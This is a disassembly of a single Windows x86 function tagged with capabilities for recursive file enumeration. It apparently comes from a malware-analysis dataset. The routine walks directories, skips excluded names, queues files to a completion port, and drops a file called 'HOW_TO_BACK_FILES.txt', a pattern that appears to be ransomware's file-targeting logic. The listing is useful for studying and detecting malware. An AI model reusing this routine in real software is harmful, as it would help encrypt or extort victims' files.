Function at 0x404d83
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x42e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, edx
mov esi, ecx
push edi
mov dword [ebp - 0x26c], ebx
mov dword [ebp - 0x260], esi
call fcn.00403f2b
push 0x30
pop ecx
movzx eax, ax
cmp bx, 0x31
push 0x2000
cmovne eax, ecx
mov dword [ebp - 0x270], eax
call fcn.00415646
mov ebx, eax
pop ecx
test ebx, ebx
je 0x4050b8
push esi
push str._s
push 0x1000
push ebx
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
lea eax, [ebp - 0x258]
xor ecx, ecx
push dword [0x42ee14]
push ecx
push ecx
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov dword [ebp - 0x264], eax
cmp eax, 0xffffffff
je 0x4050b1
mov edi, eax
push 0x42a9d4
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x405073
push 0x42a9d8
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x405073
lea eax, [ebp - 0x22c]
push eax
push esi
push 0x42ab98
push 0x1000
push ebx
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
test byte [ebp - 0x258], 0x10
je 0x404eb3
cmp dword [ebp + 0xc], 0
jne 0x404eb3
xor esi, esi
movzx eax, si
push dword [eax*4 + 0x427380]
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40506d
inc esi
cmp si, 0x28
jb 0x404e76
mov edx, dword [ebp - 0x26c]
mov ecx, ebx
push 0
push dword [ebp + 8]
call fcn.00404d83
jmp 0x40506d
push 0x42f9b0
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x405073
push str.HOW_TO_BACK_FILES.txt
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x405073
test byte [ebp - 0x258], 0xa7
je 0x405073
xor edi, edi
movzx esi, di
lea eax, [ebp - 0x22c]
push dword [esi*4 + 0x427a30]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
mov dword [ebp - 0x268], eax
test eax, eax
je 0x404f3a
push dword [esi*4 + 0x427a30]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push dword [ebp - 0x268]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, esi
je 0x405067
inc edi
cmp di, 0x34
jb 0x404ef6
xor al, al
mov byte [ebp - 0x259], al
movzx eax, al
push dword [eax*4 + 0x42724c]
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x405067
mov al, byte [ebp - 0x259]
inc al
mov byte [ebp - 0x259], al
cmp al, 0xd
jb 0x404f49
cmp dword [ebp + 8], 0
je 0x404fd4
xor esi, esi
movzx edi, si
lea eax, [ebp - 0x22c]
push dword [edi*4 + 0x427450]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
mov dword [ebp - 0x268], eax
test eax, eax
je 0x404fc8
push dword [edi*4 + 0x427450]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push dword [edi*4 + 0x427450]
push dword [ebp - 0x268]
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
je 0x404fd4
inc esi
cmp si, 0x1c
jb 0x404f82
jmp 0x405067
push 0x20
call fcn.00415646
mov esi, eax
pop ecx
test esi, esi
je 0x405067
push 8
pop ecx
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x270]
push ebx
mov word [esi + 0x18], ax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
inc eax
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00415646
mov dword [esi + 0x14], eax
pop ecx
test eax, eax
je 0x405025
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
push 0
push 0
push dword [0x42fab4]
mov dword [esi + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x405051
lock inc dword [0x42f9ac]
lock inc dword [0x42fb04]
jmp 0x405067
cmp dword [esi + 0x14], 0
je 0x405060
push dword [esi + 0x14]
call fcn.0041562b
pop ecx
push esi
call fcn.0041562b
pop ecx
mov edi, dword [ebp - 0x264]
mov esi, dword [ebp - 0x260]
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404e15
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.HOW_TO_BACK_FILES.txt
push esi
push 0x42ab98
push 0x1000
push ebx
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
mov ecx, ebx
call fcn.00404aad
push ebx
call fcn.0041562b
pop ecx
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412408
leave
ret 8